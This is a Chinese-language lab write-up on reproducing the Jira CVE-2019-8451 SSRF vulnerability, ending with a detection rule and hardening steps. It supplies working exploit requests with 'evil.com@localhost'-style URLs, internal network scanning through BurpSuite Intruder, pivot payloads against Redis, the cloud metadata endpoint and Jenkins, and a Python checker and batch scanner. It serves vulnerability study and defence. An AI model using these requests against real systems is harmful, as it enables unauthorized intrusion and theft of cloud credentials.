手把手复现Jira CVE-2019-8451 SSRF漏洞:从环境搭建到BurpSuite实战验证
实战复现Jira CVE-2019-8451 SSRF漏洞:从零环境搭建到BurpSuite高级利用
在当今企业级项目管理工具中,Jira因其强大的工作流定制和问题跟踪能力而广受欢迎。然而,2019年曝光的CVE-2019-8451 SSRF漏洞却给众多使用旧版本Jira的企业带来了严重安全隐患。这个无需认证即可触发的服务端请求伪造漏洞,允许攻击者以Jira服务器身份访问内网资源,可能成为内网渗透的跳板。
1. 漏洞环境精准搭建
1.1 选择正确的Jira版本
复现该漏洞的首要条件是获取受影响的Jira版本。根据官方公告,所有低于8.4.0的版本都存在风险。推荐使用Jira 8.3.4作为测试环境,这是漏洞影响范围内的典型版本。
获取官方安装包的方法:
- 访问Atlassian Archive(需注册开发者账号)
- 使用Docker镜像
atlassian/jira-software:8.3.4
注意:Atlassian官方已停止对旧版本的支持,下载时需要特别声明用于安全研究目的
1.2 容器化部署方案
对于现代安全研究,Docker无疑是最便捷的环境搭建方式。以下是完整的docker-compose配置:
version: '3' services: jira: image: atlassian/jira-software:8.3.4 ports: - "8080:8080" volumes: - jira_data:/var/atlassian/application-data/jira environment: - ATL_JDBC_URL=jdbc:postgresql://db:5432/jiradb - ATL_JDBC_USER=jira - ATL_JDBC_PASSWORD=jira - ATL_DB_DRIVER=org.postgresql.Driver db: image: postgres:12 environment: - POSTGRES_USER=jira - POSTGRES_PASSWORD=jira - POSTGRES_DB=jiradb volumes: - pg_data:/var/lib/postgresql/data volumes: jira_data: pg_data:关键部署步骤:
- 保存为
docker-compose.yml - 执行
docker-compose up -d - 访问
http://localhost:8080完成初始化配置 - 使用试用许可证激活(漏洞复现无需完整配置)
1.3 传统安装方式避坑指南
如果选择传统安装方式,需要特别注意:
| 组件 | 要求 | 常见问题 |
|---|---|---|
| Java | JDK 1.8 | 新版本JDK可能导致兼容性问题 |
| 数据库 | PostgreSQL 9.5+ | MySQL需要特殊驱动配置 |
| 内存 | 最小2GB | 低配环境可能启动失败 |
安装后检查点:
- 确认
/plugins/servlet/gadgets/makeRequest接口存在 - 验证未授权访问是否返回404(正常响应)
2. 漏洞原理深度解析
2.1 SSRF机制剖析
CVE-2019-8451的核心在于Jira对makeRequest接口的URL白名单验证缺陷。正常流程应该是:
- 客户端请求
/plugins/servlet/gadgets/makeRequest?url=xxx - 服务端检查URL是否在白名单内
- 合法则代理请求,否则拒绝
漏洞成因在于JiraWhitelist类的验证逻辑仅检查URL是否以Jira自身的canonicalBaseUrl开头,而忽略了完整的主机名验证。
2.2 关键代码路径
通过反编译分析,漏洞触发路径如下:
XsrfMakeRequestServlet.doGet() ↓ MakeRequestServlet.doGet() ↓ JiraWhitelist.allows() ↓ URIUtils.extractHost() // 错误的主机提取逻辑关键缺陷代码片段:
public boolean allows(String url) { return url.startsWith(this.canonicalBaseUrl); // 仅检查URL前缀 }2.3 绕过技术详解
漏洞利用需要两个关键条件:
- 添加请求头
X-Atlassian-Token: no-check绕过CSRF保护 - 构造特殊URL格式:
http://attacker.com@whitelisted-domain/path
这种利用方式属于典型的URL解析歧义攻击,不同组件对@符号的解释差异导致了安全边界突破。
3. BurpSuite高级利用实战
3.1 基础探测手法
使用BurpSuite Repeater模块进行初步验证:
- 拦截任意Jira请求获取会话上下文
- 构造如下请求:
GET /plugins/servlet/gadgets/makeRequest?url=http://evil.com@localhost/ HTTP/1.1 Host: vulnerable-jira.com X-Atlassian-Token: no-check响应分析要点:
- 200状态码+目标内容 → 漏洞存在
- 500错误 → 可能版本不符或URL构造错误
- 404 → 路径错误或防护措施生效
3.2 内网探测技术
利用该漏洞可以进行内网服务发现:
- 准备常见内网IP段列表(如192.168.0.0/16)
- 使用Intruder模块进行批量探测:
GET /plugins/servlet/gadgets/makeRequest?url=http://placeholder@192.168.1.1:8080/ HTTP/1.1配置攻击位置:
- 设置
192.168.1.1为payload位置 - 使用Numeric payload生成IP地址
- 根据响应时间/状态码判断存活主机
3.3 高级利用链构建
结合其他漏洞可形成更具威胁的攻击链:
- 探测Redis未授权访问:
url=http://attacker@redis-host:6379/info - 访问云元数据接口:
url=http://attacker@169.254.169.254/latest/meta-data/ - 攻击内部Jenkins:
url=http://attacker@jenkins:8080/script
重要:实际测试需获得授权,避免法律风险
4. 自动化漏洞验证工具开发
4.1 Python POC脚本解析
以下是改进版的漏洞验证脚本:
import requests import argparse from urllib.parse import urljoin def check_vulnerability(target): headers = {'X-Atlassian-Token': 'no-check'} test_url = urljoin(target, '/plugins/servlet/gadgets/makeRequest') # 使用环回地址测试 payload = {'url': 'http://test@127.0.0.1/'} try: r = requests.get(test_url, params=payload, headers=headers, timeout=10) if r.status_code == 200 and '127.0.0.1' in r.text: return True return False except Exception as e: print(f"检测失败: {str(e)}") return False if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', required=True, help='目标Jira地址') args = parser.parse_args() if check_vulnerability(args.url): print("[+] 存在CVE-2019-8451漏洞") else: print("[-] 未检测到漏洞")关键改进点:
- 增加超时机制防止僵死
- 自动拼接URL路径
- 更精确的结果检测逻辑
4.2 批量扫描工具设计
对于企业级评估,需要批量检测能力:
import concurrent.futures def batch_scan(targets_file): with open(targets_file) as f: targets = [line.strip() for line in f if line.strip()] with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(check_vulnerability, url): url for url in targets} for future in concurrent.futures.as_completed(futures): url = futures[future] try: result = future.result() status = "存在漏洞" if result else "安全" print(f"{url} -> {status}") except Exception as e: print(f"{url} -> 检测异常: {str(e)}")4.3 漏洞修复验证
升级后验证方法:
- 检查Jira版本号 ≥ 8.4.0
- 尝试原始POC应返回403
- 确认
JiraWhitelist类已实现完整URL解析
5. 防御与缓解措施
5.1 企业级防护方案
对于无法立即升级的系统,建议:
网络层防护:
- 出口防火墙限制Jira服务器出站连接
- 网络分段隔离敏感系统
应用层防护:
# 在web.xml中添加安全约束 <security-constraint> <web-resource-collection> <url-pattern>/plugins/servlet/gadgets/makeRequest</url-pattern> </web-resource-collection> <auth-constraint> <role-name>users</role-name> </auth-constraint> </security-constraint>5.2 安全配置检查清单
| 检查项 | 安全配置 | 验证方法 |
|---|---|---|
| 版本号 | ≥8.4.0 | 查看管理后台 |
| 访问控制 | 需认证 | 直接访问接口 |
| 网络隔离 | 限制出站 | 测试外连 |
| 补丁状态 | 最新 | 检查补丁日志 |
5.3 监控与检测策略
建议部署以下检测规则:
Suricata规则示例:
alert http any any -> any any (msg:"Jira SSRF Attempt"; flow:to_server; http.uri; content:"/plugins/servlet/gadgets/makeRequest"; content:"url=http"; nocase; pcre:"/url=http[^\s]*@/i"; sid:1000001; rev:1;)ELK查询语句:
event.dataset:web.logs AND url.path:"/plugins/servlet/gadgets/makeRequest" AND http.headers.x-atlassian-token:"no-check"在多次复现测试中发现,该漏洞的利用稳定性高度依赖于目标网络环境配置。某些情况下需要尝试不同的URL编码方式才能成功触发,特别是当目标系统部署了WAF等防护设备时。
